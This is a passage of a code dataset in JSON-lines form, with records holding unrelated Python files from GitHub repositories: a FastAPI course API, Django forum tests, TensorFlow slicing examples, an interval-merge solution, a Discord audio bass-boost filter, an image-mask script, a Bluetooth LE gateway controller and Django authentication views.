content})\n","repo_name":"lccasagrande/Hashtag-Monitor","sub_path":"hashtag_monitor/apps/monitor/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":2922,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"22992732694","text":"from typing import List\nfrom fastapi import APIRouter, status, Depends, HTTPException, Response\n\n\nfrom sqlalchemy.ext.asyncio import AsyncSession\nfrom sqlalchemy.future import select\n\nfrom models.curso_model import CursoModel\nfrom schemas.curso_schema import SchemaCurso\nfrom core.deps import get_session\n\nroute = APIRouter()\n\n#POST CURSO\n@route.post(\"/\", status_code=status.HTTP_201_CREATED, response_model=SchemaCurso)\nasync def post_curso(curso: SchemaCurso, db: AsyncSession = Depends(get_session)):\n    novo_curso = CursoModel(titulo=curso.titulo, aulas=curso.aulas, horas=curso.horas)\n    db.add(novo_curso)\n    await db.commit()\n\n    return novo_curso\n\n\n#GET CURSOS\n@route.get(\"/\", response_model=List[SchemaCurso],  status_code=status.HTTP_200_OK)\nasync def get_cursos(db: AsyncSession = Depends(get_session)):\n    async with db as session:\n        query = select(CursoModel)\n        result = await session.execute(query)\n        cursos: List[CursoModel] = result.scalars().all()\n    return cursos\n\n#get Curso\n@route.get(\"/{id_curso}\", response_model=SchemaCurso, status_code=status.HTTP_200_OK)\nasync def get_curso(id_curso: int, db:AsyncSession = Depends(get_session)):\n    async with db as session:\n        query = select(CursoModel).filter(CursoModel.id == id_curso)\n        result = await session.execute(query)\n        curso: List[CursoModel] = result.scalar_one_or_none()\n\n        if curso:\n            return curso\n        else:\n            raise HTTPException(detail=\"Curso não Encontrado\", status_code=status.HTTP_404_NOT_FOUND)\n\n\n#PUT CURSO\n@route.put(\"/{id_curso}\", response_model=SchemaCurso)\nasync def put_curso(id_curso: int, curso: SchemaCurso, db: AsyncSession = Depends(get_session)):\n    async with db as session:\n        query = select(CursoModel).filter(CursoModel.id == id_curso)\n        result = await session.execute(query)\n        curso_up: List[CursoModel] = result.scalar_one_or_none()\n\n        if curso_up:\n            curso_up.titulo = curso.titulo\n            curso_up.aulas = curso.aulas\n            curso_up.horas = curso.horas\n\n            await session.commit()\n            return curso_up\n        else:\n            raise HTTPException(detail=\"Curso não Encontrado\", status_code=status.HTTP_404_NOT_FOUND)\n\n\n# DELETE CURSO\n@route.delete(\"/{id_curso}\", status_code=status.HTTP_204_NO_CONTENT)\nasync def delete_curso(id_curso: int, db: AsyncSession = Depends(get_session)):\n    async with db as session:\n        query = select(CursoModel).filter(CursoModel.id == id_curso)\n        result = await session.execute(query)\n        curso_delete: List[CursoModel] = result.scalar_one_or_none()\n\n        if curso_delete:\n            await session.delete(curso_delete)\n            \n            await session.commit()\n            return Response(status_code=status.HTTP_204_NO_CONTENT)\n        else:\n            raise HTTPException(detail=\"Curso não Encontrado\", status_code=status.HTTP_404_NOT_FOUND)","repo_name":"ryanevaristo/Curso-FastAPI","sub_path":"secao-04/api/v1/endpoints/curso.py","file_name":"curso.py","file_ext":"py","file_size_in_byte":2935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30902002340","text":"from contextlib import contextmanager\nfrom collections import defaultdict\nfrom django.test import TestCase\nfrom django.contrib.auth.models import AnonymousUser\nfrom django.core.exceptions import PermissionDenied\nfrom .models import Post, Vote, Comment, User\nfrom . import models\n\n# Tests should not send out a notification\nmodels.notify_space = lambda s, e: None\n\n@contextmanager\ndef record_notifications():\n    notifications = defaultdict(list)\n    def notify_space(space_id, event):\n        notifications[space_id].append(event)\n    \n    original_notify_space = models.notify_space\n    \n    try:\n        models.notify_space = notify_space\n        yield notifications\n    finally:\n        models.notify_space = original_notify_space\n\nclass DiscussionTests(TestCase):\n    def setUp(self):\n        self._create_users()\n        \n    def _create_users(self):\n        self.ramesh = User.objects.create_user(\n            username=\"ramesh\", password=\"top_secret\", gchat_space=\"ramesh\")\n        self.amit = User.objects.create_user(\n            username=\"amit\", password=\"top_secret\", gchat_space=\"amit\")\n        self.swetha = User.objects.create_user(\n            username=\"swetha\", password=\"top_secret\", gchat_space=\"swetha\")\n        self.anamika = AnonymousUser()\n\n    def new_discussion(self, user, title):\n        post = Post(title=title,\n            html=\"Does not matter\",\n            author=user)\n        post.save()\n        return post\n    \n    def test_I_cant_vote_for_me(self):\n        post = self.new_discussion(self.ramesh, \"Ramesh's Biography\")\n        self.assertEquals(post.upvotes, 0)\n        post.upvote(self.ramesh)\n        post = Post.objects.get(pk=post.id)\n        self.assertEquals(post.upvotes, 0)\n\n    def test_double_voting(self):\n        post = self.new_discussion(self.ramesh, \"Ramesh's Biography\")\n        self.assertEquals(post.upvotes, 0)\n        post.upvote(self.amit)\n        post = Post.objects.get(pk=post.id)\n        self.assertEquals(post.upvotes, 1)\n        post.upvote(self.amit)\n        post = Post.objects.get(pk=post.id)\n        self.assertEquals(post.upvotes, 1)\n\n    def test_voting_on_home_page(self):\n        # Ramesh starts a discussion\n        post = self.new_discussion(self.ramesh, \"Ramesh's Biography\")\n\n        # Then Anamika views home page\n        posts = Post.objects.recent_posts_with_my_votes()\n        self.assertEquals(len(posts), 1)\n        post = posts.first()\n        self.assertEquals(post.upvotes, 0)\n        self.assertEquals(post.downvotes, 0)\n\n        # Amit upvotes the post\n        post.upvote(self.amit)\n\n        # Home page as seen by Amit\n        post = Post.objects.recent_posts_with_my_votes(self.amit).first()\n        self.assertTrue(post.is_upvoted)\n        self.assertFalse(post.is_downvoted)\n        self.assertEquals(post.upvotes, 1)\n        self.assertEquals(post.downvotes, 0)\n\n        # Swetha downvotes\n        post.downvote(self.swetha)\n\n        # Home page as seen by Swetha\n        post = Post.objects.recent_posts_with_my_votes(self.swetha).first()\n        self.assertFalse(post.is_upvoted)\n        self.assertTrue(post.is_downvoted)\n        self.assertEquals(post.upvotes, 1)\n        self.assertEquals(post.downvotes, 1)\n        \n        # Amit undo's his vote\n        post.undo_vote(self.amit)\n\n        # Home page as seen by Amit\n        post = Post.objects.recent_posts_with_my_votes(self.amit).first()\n        self.assertFalse(post.is_upvoted)\n        self.assertFalse(post.is_downvoted)\n        self.assertEquals(post.upvotes, 0)\n        self.assertEquals(post.downvotes, 1)\n\n    def test_comments_ordering(self):\n        _c1 = \"See my Biography!\"\n        _c2 = \"Dude, this is terrible!\"\n        _c3 = \"Why write your biography when you haven't achieved a thing!\"\n        _c4 = \"Seriously, that's all you have to say?\"\n\n        post = self.new_discussion(self.ramesh, \"Ramesh's Biography\")\n        self.assertEquals(post.num_comments, 0)\n\n        rameshs_comment = post.add_comment(_c1, self.ramesh)\n        amits_comment = rameshs_comment.reply(_c2, self.amit)\n        swethas_comment = rameshs_comment.reply(_c3, self.swetha)\n        rameshs_response = amits_comment.reply(_c4, self.ramesh)\n\n        comments = [c.html for c in \n                    Comment.objects.best_ones_first(post.id, self.ramesh.id)]\n\n        self.assertEquals(comments, [_c1, _c2, _c4, _c3])\n\n        # check if num_comments in post object is updated\n        post = Post.objects.get(pk=post.id)\n        self.assertEquals(post.num_comments, 4)\n\n    def test_cannot_edit_someone_elses_comment(self):\n        post = self.new_discussion(self.ramesh, \"Can I edit someone else's comment?\")\n        post.edit_post(\"this is the new title\", \"this is the new body\", self.ramesh)\n        with self.assertRaises(PermissionDenied):\n            post.edit_post(\"Amit trying to edit Ramesh's post\", \"this is the new body\", self.amit)\n\n        # Reload post object to confirm it got saved\n        post = Post.objects.get(id=post.id)\n        self.assertEqual(post.title, \"this is the new title\")\n        self.assertEqual(post.html, \"this is the new body\")\n\n        rameshs_comment = post.add_comment(\"I think it should not be possible\", self.ramesh)\n        rameshs_comment.edit_comment(\"EDIT; I should be able to edit my own comment\", self.ramesh)\n        with self.assertRaises(PermissionDenied):\n            rameshs_comment.edit_comment(\"Amit trying to edit Ramesh's comment\", self.amit)\n        \n        # Reload comment object to confirm it got saved\n        rameshs_comment = Comment.objects.get(id=rameshs_comment.id)\n        self.assertEqual(rameshs_comment.html, \"EDIT; I should be able to edit my own comment\")\n\n    def test_notifications(self):\n        with record_notifications() as notifications:\n            # Expect a single notification to broadcast when a new post is created\n            post = self.new_discussion(self.ramesh, \"Ramesh's Biography\")\n            self.assertEqual(len(notifications), 1, msg=\"Broadcast Message\")\n            \n            # No private notifications as of now\n            self.assertEqual(len(notifications['ramesh']), 0, msg=\"No private message on new discussion\")\n            self.assertEqual(len(notifications['amit']), 0, msg=\"No private message on new discussion\")\n            self.assertEqual(len(notifications['swetha']), 0, msg=\"No private message on new discussion\")\n\n            # Upvotes don't result in a notification\n            # but the person who upvoted gets added to the watchers list\n            post.upvote(self.amit)\n\n            # Swetha adds a comment, which triggers private notifications\n            swethas_comment = post.add_comment(\"See my biography as well!\", self.swetha)\n\n            # Ramesh and Amit get a private notification\n            # Swetha doesn't, because she was the one who commented\n            self.assertEqual(len(notifications['ramesh']), 1, msg=\"Discussion author must get private notification\")\n            self.assertEqual(len(notifications['amit']), 1, msg=\"People who upvote must get a private notifcation\")\n            self.assertEqual(len(notifications['swetha']), 0, \n                    msg=\"Author of comment must not get notified about her own comment\")\n","repo_name":"Vitolga/South-park","sub_path":"gazBK/BKgaz/discussions/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":7204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"42262571741","text":"import os\n\nos.environ[\"TF_CPP_MIN_LOG_LEVEL\"] = '1'\nimport tensorflow as tf\n\nif __name__ == '__main__':\n    ### 4.6 索引与切片\n    ##### 4.6.1 索引\n    # 通过start: end: step切片方式, end为结束读取位置的索引(不包含end位)\n    # x = tf.random.normal([4, 32, 32, 3])\n    # print(x[0].shape)\n    # ##### 4.6.2 切片\n    # print(x[1:3].shape)\n    # print(x[0, ::].shape)\n    # x = tf.range(9)\n    # 考虑最特殊的一种例子，当step = −1时，start:end: −1\n    # 表示从start开始，逆序读取至end结束(不包含end)，索引号𝑒𝑛𝑑 ≤ 𝑠𝑡𝑎𝑟𝑡。\n    # print(x[::-1])\n    # [8 6 4 2]\n    # print(x[8:0:-2])\n    # x = tf.random.normal([4, 32, 32, 3])\n    # print(x[0:2, ..., 1:].shape)\n    # ##### 4.6.3 选择索引\n    # - tf.gather(params, indices, axis=0)\n    # 从params的axis维根据indices的参数值获取切片\n    x = tf.reshape(tf.range(0, 10), [2, 5])\n    print(x)\n    # print(tf.gather(x, [0, 2, 4], axis=1))\n    # - tf.gather_nd(params, indices, name=None)\n    # 按照indices的格式从params中抽取切片（合并为一个Tensor）\n    # indices是一个K维整数Tensor，\n    # print(tf.gather_nd(x, [[0, 1], [0, 3], [1, 0]]))\n    # tf.boolean_mask(x, mask, axis)\n    # 除了可以通过给定索引号的方式采样，还可以通过给定掩码(Mask)的方式进行采样。\n    # tf.boolean_mask 的作用是通过布尔值过滤元素\n    print(tf.boolean_mask(x, [True, False], axis=0))\n    print(tf.boolean_mask(x, [[True, False, False, False, True], [True, False, False, False, True]]))\n","repo_name":"TimVan1596/ACM-ICPC","sub_path":"python/deep_learning/TensorFlow/第4章 TensorFlow基础/4.6 索引与切片.py","file_name":"4.6 索引与切片.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"5217589295","text":"# https://leetcode.com/problems/merge-intervals/\n# method1: using queue\n# class Solution:\n#     def merge(self, intervals: List[List[int]]) -> List[List[int]]:\n#         if len(intervals)==1:\n#             return intervals\n#         intervals.sort(key = lambda x: x[0])\n#         tmp = intervals[0]\n#         tmp[0] -= 1\n#         minval = tmp[0]\n#         mergecnt = 0\n#         q = deque(intervals[1:len(intervals)])\n#         while True:\n#             if len(q) == 0:\n#                 q.append(tmp)\n#                 break\n#             head = q.popleft()\n#             # print(head)\n#             if head[0] == minval:\n#                 q.append(tmp)\n#                 if mergecnt == 0:\n#                     q.appendleft(head)\n#                     break\n#                 mergecnt = 0\n#                 tmp = head\n#                 # print(\"finish\", q)\n#                 continue\n#             # check if we can merge\n#             if tmp[1]>=head[0]:\n#                 mergecnt += 1\n#                 tmp = [tmp[0], max(tmp[1], head[1])]\n#                 # print(\"merge\", q)\n#             else:\n#                 q.append(tmp)\n#                 # print(\"cannot merge\", q)\n#                 tmp = head\n#         ret = list(q)\n#         ret[0][0] += 1\n#         return ret\n    \n# method2: official sol\nclass Solution:\n    def merge(self, intervals: List[List[int]]) -> List[List[int]]:\n\n        intervals.sort(key=lambda x: x[0])\n\n        merged = []\n        for interval in intervals:\n            # if the list of merged intervals is empty or if the current\n            # interval does not overlap with the previous, simply append it.\n            if not merged or merged[-1][1] < interval[0]:\n                merged.append(interval)\n            else:\n            # otherwise, there is overlap, so we merge the current and previous\n            # intervals.\n                merged[-1][1] = max(merged[-1][1], interval[1])\n\n        return merged\n","repo_name":"zzb66666666x/Leetcode-Python","sub_path":"US/56. Merge Intervals/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70274021203","text":"import logging\nimport warnings\n\nfrom io import BytesIO\nfrom audioop import mul\n\nfrom discord import ClientException\nfrom discord.player import AudioSource\nfrom pydub import AudioSegment\nfrom numpy import std, mean\n\nlogger = logging.getLogger('player')\n\n\nclass BassVolumeTransformer(AudioSource):\n    def __init__(self, original, volume: float = 1.0, bass_accentuate: float = 0):\n        if not isinstance(original, AudioSource):\n            raise TypeError(\n                f'expected AudioSource not {original.__class__.__name__}.')\n\n        if original.is_opus():\n            raise ClientException('AudioSource must not be Opus encoded.')\n\n        self.original = original\n        self._volume = volume\n        self._bass = bass_accentuate\n\n        # 100Hz as basic bass freq to avoid issues, when bass_factor is 0.\n        self._last_bass_factor = 100\n\n    @property\n    def volume(self) -> float:\n        \"\"\"Retrieves or sets the volume as a floating point percentage (e.g. ``1.0`` for 100%).\"\"\"\n        return self._volume\n\n    @volume.setter\n    def volume(self, value: float):\n        self._volume = max(min(value, 2.0),\n                           0.0)\n\n    @property\n    def bass_accentuate(self) -> float:\n        return self._bass\n\n    @bass_accentuate.setter\n    def bass_accentuate(self, value: float):\n        self._bass = min(max(value, -20), 200)\n\n    def _bass_boost(self, sample: bytes) -> bytes:\n        if self._bass == 0:\n            return sample\n            \n        with warnings.catch_warnings():\n            warnings.simplefilter('ignore')\n\n            sample = AudioSegment.from_raw(\n                BytesIO(sample),\n                sample_width=2,\n                frame_rate=48000,\n                channels=2\n            )\n\n            sample_list = sample.get_array_of_samples()\n\n            est_mean = mean(sample_list)\n            est_std = 3 * std(sample_list) / (2 ** 0.5)\n            bass_factor = int(est_std - est_mean *\n                              0.015) or self._last_bass_factor\n            self._last_freq = bass_factor\n\n            lower = sample.low_pass_filter(bass_factor)\n            gain = self._bass - sample.dBFS\n            lower = lower.apply_gain(gain)\n\n            output = sample.overlay(lower)\n\n            return output.raw_data\n\n    def read(self):\n        orig = self.original.read()  # Getting original sound\n        ret = mul(orig, 2, self.volume)  # Volume adjusting\n        return self._bass_boost(ret)  # Returning with bass boost\n\n    def cleanup(self):\n        self.original.cleanup()\n","repo_name":"l4blee/nosok","sub_path":"bot/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":2550,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"70336460562","text":"import os \nimport shutil\nimport cv2\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport sys\nimport math\nfrom PIL import Image\nimport numpy.ma as ma\n\nlabel_path = \"/y/ayhassen/allmerged/fulldata/mask\" \n# mask_path = \"/y/ayhassen/allmerged/fulldata/tools/mask\"\n# img_path = \"/y/ayhassen/allmerged/fulldata/large_tool_crops/image_crops\" \nmask_path = \"/y/ayhassen/allmerged/CC/mask_crops\" \n# mask_path = \"/y/ayhassen/allmerged/fulldata/finalmasks/missing_objects\" \nimage_path = \"/y/ayhassen/allmerged/fulldata/image_new/allMerged5\"\ndst_path = '/y/ayhassen/allmerged/CC/final_masks'\n\ncount = 1\nnum = 1\n\nfor mask in os.listdir(mask_path):\n    # num+=1\n    # buffer = mask[mask.find('_') + 1 : ] \n    label = mask[mask.find('_') + 1 : ] \n    if label.startswith('CC'): \n        image = cv2.imread(f'{image_path}/{label}')\n        # masks = cv2.imread(f'{mask_path}/{mask}')\n        mask_zeros = np.zeros_like(image) \n            \n        # if f'{label}.txt' in os.listdir(label_path):\n        with open(f'{label_path}/{label}.txt') as f:\n            lines = f.readlines()\n            data = lines[int(mask[0])] \n\n            #hands\n            # temp1 = data[data.find('|') + 1 : ]\n            # temp2 = temp1[temp1.find('|') + 1 : ]\n            # temp = temp2[ : temp2.find('|') - 1]\n\n            #objects\n            temp1 = data[data.find('|') + 1 : ]\n            temp2 = temp1[temp1.find('|') + 1 : ]\n            temp3 = temp2[temp2.find('|') + 1 : ]\n            temp = temp3[ : temp3.find('|') - 1]\n\n            #tools\n            # temp = data[data.rfind('|') + 1 : ] \n            # print(temp) \n            # bbox = temp[temp.rfind('|') + 1 : ].split(\",\") \n\n\n            if temp.strip() != 'None':\n                # bbox = temp[temp.rfind('|') + 1 : ].split(\",\")\n                # sys.exit()\n                bbox = temp.split(\",\")\n                zero = int(float(bbox[0].strip()))\n                one = int(float(bbox[1].strip()))\n                two = int(float(bbox[2].strip()))\n                three = int(float(bbox[3].strip()))\n                mask_read = np.array(Image.open(f'{mask_path}/{mask}'))\n                # mask_read = cv2.resize(mask_read, (4000, 4000), interpolation=cv2.INTER_AREA)\n\n                #restoring original mask shape\n                width = two - zero\n                height = three - one\n\n                x_center = int((mask_read.shape[0]) // 2)\n                y_center = int((mask_read.shape[1]) // 2)\n                new_zero = x_center - (width  // 2) \n                if width % 2 != 0:\n                    new_two = x_center + ((width // 2) + 1)\n                else:\n                    new_two = x_center + (width // 2)\n                new_one = y_center - (height // 2)\n                if height % 2 != 0:\n                    new_three = y_center + ((height // 2) + 1)\n                else:\n                    new_three = y_center + (height // 2)\n\n                object_box = mask_read[new_one : new_three, new_zero : new_two] \n\n\n                if width > 0 and height > 0:\n                    mask_read = cv2.resize(mask_read, (width, height))\n                    test = mask_zeros[one : three, zero : two]\n                    if width == test.shape[1] or height == test.shape[0]:\n                        mask_zeros[one : three, zero : two] = mask_read\n                        # cv2.imwrite(f'./test/{mask[:-4]}.png', mask_zeros)  \n                        cv2.imwrite(f'{dst_path}/{mask[:-4]}.png', mask_zeros) \n\n                count+=1\n                print(f'Number of in-contact object masks : {count}')\n            \n","repo_name":"ashhass/HOS","sub_path":"process/postprocess.py","file_name":"postprocess.py","file_ext":"py","file_size_in_byte":3575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71655770963","text":"###############################################################\n# main_control.py                                             #\n# author:   Frank Arts                                        #\n# date:     December 31st, 2020                               #\n# version:  1.6                                               #\n#                                                             #\n# version info:                                               #\n# - Convert endian of ble data to little-endian               #\n#                                                             #\n# NOTES:                                                      #\n# - Mesh networks are not supported                           #\n###############################################################\n\n# import\nfrom bluepy.btle import DefaultDelegate\nfrom ble_network_control import BLE_network\nimport sys, time, datetime\n\n# global varibles\nnetwork_ID      = \"my_first_ble_network\"\np2p             = False\nbroadcastData   = False\n\n# functions\ndef readBLEcharacteristics(ble_network, peripheral = None, service_uuid = None, characteristic_uuid = None):\n    # Print date and time\n    print(\"READ\")\n    dt = datetime.datetime.now()\n    print(dt.strftime(\"%Y %B %d, %X\"))\n    \n    # Read and print characteristics\n    ble_network.read_characteristics(peripheral, service_uuid, characteristic_uuid)\n    \ndef writeBLEcharacteristics(ble_network, value, peripheral = None, service_uuid = None, characteristic_uuid = None):\n    # Print date and time\n    print(\"WRITE\")\n    dt = datetime.datetime.now()\n    print(dt.strftime(\"%Y %B %d, %X\"))\n    \n    # Read and print characteristics\n    ble_network.write_characteristics(value, peripheral, service_uuid, characteristic_uuid)\n\n\n# main funciton\ndef main(argv):\n    # Get global variables\n    global network_ID\n    global p2p\n    global broadcastData\n    \n    # Read command input\n    local_device_name = None\n    if len(argv) == 1:\n        device_type = \"spms_device\"\n        print(\"device type was not specified, 'spms_device' will be used\")\n        print(\"(specify device type with: sudo python %s <device type>)\" % __file__)\n        print('')\n    else:\n        device_type = argv[1]\n        print(\"User defined device type '%s' will be used\" %device_type)\n        print('')\n\n    # Print date and time\n    dt = datetime.datetime.now()\n    print(dt.strftime(\"%Y %B %d, %X\"))\n\n    try:\n        # Initialize my_ble_network and timer\n        scan_time = 10.0\n        my_ble_network = BLE_network(network_ID, device_type, scan_time)\n    \n        # Check if user wants to receive broadcast data\n        response = raw_input(\"Would you like to receive broadcast data? [y/N] \").lower()\n        if response == \"y\" or response == \"yes\": # Accepted\n                print(\"Broadcast data will be scanned for.\")\n                broadcastData = True\n                \n                # check if dictionary of peripherals is empty\n                if not bool(my_ble_network.get_peripherals()):\n                    print(\"Dictionary of peripherals is empty.\")\n                    print(\"Only broadcast data will be received.\")\n                    p2p = False;\n                else:\n                    print(\"Dictionary of peripherals contains one or mulitple peripherals.\")\n                    print(\"Both broadcast data and p2p connection(s) will be used.\")\n                    p2p = True;\n        else: # Declined\n            print(\"You did not want to receive broadcast data.\")\n            broadcastData = False\n            \n            # check if dictionary of peripherals is empty\n            if not bool(my_ble_network.get_peripherals()):\n                print(\"Dictionary of peripherals is also empty.\")\n                print(\"Program will be terminated.\")\n                p2p = False\n                exit()\n            else:\n                print(\"Only p2p connection(s) will be used.\")\n                p2p = True\n        \n        print('')\n        prevTime_read = time.time()\n        prevTime_write = prevTime_read\n        \n        if p2p == True:\n            # Read all characteristics\n            readBLEcharacteristics(my_ble_network)\n            \n            p_peripherals = my_ble_network.get_peripherals()\n        \n            # Enable notifications\n            p2p_timeout = 5.0\n            my_ble_network.enable_notifications(timeout = p2p_timeout)\n        \n        if broadcastData == True:\n            # Enable receive broadcast data\n            my_ble_network.enable_broadcast_data_receive()\n            \n            # timeout for broadcast data receive\n            broadcastData_timeout = 10.0\n        \n        while 1:\n            # Get current time\n            currTime = time.time()\n            \n            if p2p == True:\n                # Notifications\n                for i in range(len(p_peripherals)):\n                    if p_peripherals[i].waitForNotifications(p2p_timeout): #NOTE: system is waiting for ('p2p_timeout' * amount of peripherals) seconds\n                        # handlenotification was called\n                        continue;\n                    \n                    print(\"Waiting...\")\n                \n                # Read\n                if currTime - prevTime_read >= 30:\n                    # Read BLE characteristics\n                    readBLEcharacteristics(my_ble_network) #, None, \"1a310701-63b2-0795-204f-1dda0100d29d\", \"1a310702-63b2-0795-204f-1dda0100d29d\")\n                    \n                    # Update prevTime for reading\n                    prevTime_read = currTime\n                \n                '''\n                # Write\n                if currTime - prevTime_write >= 15: # For testing: write every 15 seconds\n                    # Write 0xAA to BLE characteristic\n                    writeBLEcharacteristics(my_ble_network, \"\\x3A\", None, \"1a310701-63b2-0795-204f-1dda0100d29d\", \"1a310702-63b2-0795-204f-1dda0100d29d\")\n                    \n                    # Update prevTime for writing\n                    prevTime_write = currTime\n                '''\n                    \n            if broadcastData == True: #NOTE: system is waiting for ('broadcastData_timeout' * amount of peripherals) seconds\n                my_ble_network.receive_broadcast_data(timeout = broadcastData_timeout)\n            \n    finally:\n        print('')\n        print('')\n        \n        if p2p == True:\n            try:\n                # Disable notifications for all peripherals\n                print(\"Disabling notifications...\")\n                my_ble_network.enable_notifications(enable = False)\n            finally:\n                pass\n        \n        if broadcastData == True:\n            try:\n                # Stop broadcast data receive\n                print(\"Stopping broadcast data receive...\")\n                my_ble_network.enable_broadcast_data_receive(enable = False)\n            finally:\n                pass\n        \n        # Goodbye\n        print(\"Goodbye!\")\n        print(\"Disconnecting...\")\n\n\nif __name__ == \"__main__\":\n    main(sys.argv)\n","repo_name":"Jeedella/Plantenna_2_Gateway","sub_path":"main_control.py","file_name":"main_control.py","file_ext":"py","file_size_in_byte":7014,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"71015258642","text":"import math\ndata = list(input(\"임의의 갯수만큼 정수를 입력하세요: \").split())\n\ns = 0\np = 0\npp = 0\n\nfor i in data:\n    s += int(i)\n\np = s / len(data)\n\nfor i in data:\n    pp += (int(i)-p)**2\n\npp = pp / len(data)\n\npp = math.sqrt(pp)\n\nprint(\"합: {}\".format(s))\nprint(\"평균: {}\".format(p))\nprint(\"표준편차:  {:.2f}\".format(pp))","repo_name":"jjh030325/Basic_Programing","sub_path":"231013/ex5_13.py","file_name":"ex5_13.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"9557460277","text":"import requests\nimport json\nfrom bs4 import BeautifulSoup\n\nsource = requests.get('https://www.entekhabcenter.com/product-category/product/audio-video/television')\ndata = BeautifulSoup(source.content,\"html.parser\")\n\nname_selector = []\nfor i in data.select('h5'):\n    name_selector.append(i.text)\n\nprice_selector = []\nfor i in data.select('ins'):\n    price_selector.append(i.text)\n\nproduct_list = []\nfor i in range(len(price_selector)):\n    temp = {}\n    product_list.append(temp)\n    temp['Name'] = name_selector[i]\n    temp['Price'] = price_selector[i]\n\n\nwith open('Tamrin 9 (Regex - WebScrapping)/products.json','w',encoding='utf-8') as file:\n    json.dump(product_list,file,indent=4,ensure_ascii=False)","repo_name":"iAreff/Advanced-Python-Exercises","sub_path":"Tamrin 9 (Regex - WebScrapping)/Soal 2.py","file_name":"Soal 2.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29026122847","text":"# coding: utf-8\nfrom unittest.mock import patch\n\nimport pytest\nfrom requests import Response\nfrom startrek_client.exceptions import NotFound\n\nfrom ok.tracker.models import Queue\nfrom ok.tracker.tasks import check_tracker_queues_fields\nfrom tests import factories as f\n\npytestmark = pytest.mark.django_db\n\n\n@pytest.mark.parametrize('has_triggers', [True, False])\n@patch('ok.tracker.tasks.check_queue_has_triggers')\n@patch('ok.tracker.tasks.check_queue_allow_externals', lambda x: None)\ndef test_check_tracker_queues_triggers_update_queue(patched_check, has_triggers):\n    f.create_waffle_switch('enable_queues_check')\n    patched_check.return_value = has_triggers\n    queue = f.QueueFactory(has_triggers=None)\n\n    check_tracker_queues_fields()\n\n    queue.refresh_from_db()\n    assert queue.has_triggers == has_triggers\n\n\n@pytest.mark.parametrize('allow_externals', [True, False])\n@patch('ok.tracker.tasks.check_queue_has_triggers', lambda x: None)\n@patch('ok.tracker.tasks.check_queue_allow_externals')\ndef test_check_tracker_queues_allow_externals_update_queue(patched_check, allow_externals):\n    f.create_waffle_switch('enable_queues_check')\n    patched_check.return_value = allow_externals\n    queue = f.QueueFactory(allow_externals=None)\n\n    check_tracker_queues_fields()\n\n    queue.refresh_from_db()\n    assert queue.allow_externals == allow_externals\n\n\n@patch('ok.tracker.tasks.check_queue_has_triggers')\ndef test_check_tracker_queues_fields_delete_unknown_queue(patched_check):\n    f.create_waffle_switch('enable_queues_check')\n    patched_check.side_effect = NotFound(Response())\n    queue = f.QueueFactory()\n\n    check_tracker_queues_fields()\n\n    assert not Queue.objects.filter(id=queue.id).exists()\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"Intranet/tests/integration/tracker/test_tasks.py","file_name":"test_tasks.py","file_ext":"py","file_size_in_byte":1713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39222164432","text":"from django.shortcuts import render , redirect\nfrom django.http import HttpResponse\nfrom django.contrib.auth.models import User\nfrom .models import *\n\nfrom knox.models import AuthToken\nfrom django.contrib.auth import login\n\nfrom rest_framework import permissions\nfrom rest_framework.authtoken.serializers import AuthTokenSerializer\nfrom knox.views import LoginView as KnoxLoginView\n\nfrom .serializers import *\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view\n\nfrom rest_framework import generics, permissions\n\n@api_view(['GET'])\ndef apiOverview(request):\n    apiOverView = {\n    '***users***':'***users***',\n    'api/signup/':'signup',\n    'api/addprofil/' :'addprofil',\n    'api/view_profil/<str:pk>/': 'view_porfil',\n    'api/login/': 'login',\n    'api/logout/' :'logout',\n    'api/logoutall/': 'logoutall',\n    'api/user/':'user',\n    '***posts***':'***posts***',\n    'api/addpost/' :'addpost',\n    'api/shop/' :'shop',\n    'api/view_post/<str:pk>/':'postDetail',\n    'api/update_post/<str:pk>/': 'postUpdate',\n    'api/delete_post/<str:pk>/':'postDelete'\n    }\n    return Response(apiOverView)\n\n\n#classes\nclass LoginAPI(KnoxLoginView):\n    permission_classes = (permissions.AllowAny,)\n\n    def post(self, request, format=None):\n        serializer = AuthTokenSerializer(data=request.data)\n        serializer.is_valid(raise_exception=True)\n        user = serializer.validated_data['user']\n        login(request, user)\n        return super(LoginAPI, self).post(request, format=None)\n\n    def get_post_response_data(self, request, token, instance):\n        UserSerializer = self.get_user_serializer_class()\n\n        data = {\n            'expiry': self.format_expiry_datetime(instance.expiry),\n            'token': token\n        }\n        if UserSerializer is not None:\n            data[\"user\"] = UserSerializer(\n                request.user,\n                context=self.get_context()\n            ).data\n        return data\n\n\n\nclass UserAPI(generics.RetrieveAPIView):\n    permission_classes = [\n    permissions.IsAuthenticated,\n    ]\n    serializer_class = UserSerializer\n\n    def get_object(self):\n        return self.request.user\n\n# Create your views here.\ndef home(request):\n    return render(request,'home.html')\n\n@api_view(['POST'])\ndef signup(request):\n    if request.method == 'POST':\n        serializer = UserSerializer(data=request.data)\n        data = {}\n        if serializer.is_valid():\n            user = serializer.save()\n            data['response'] = 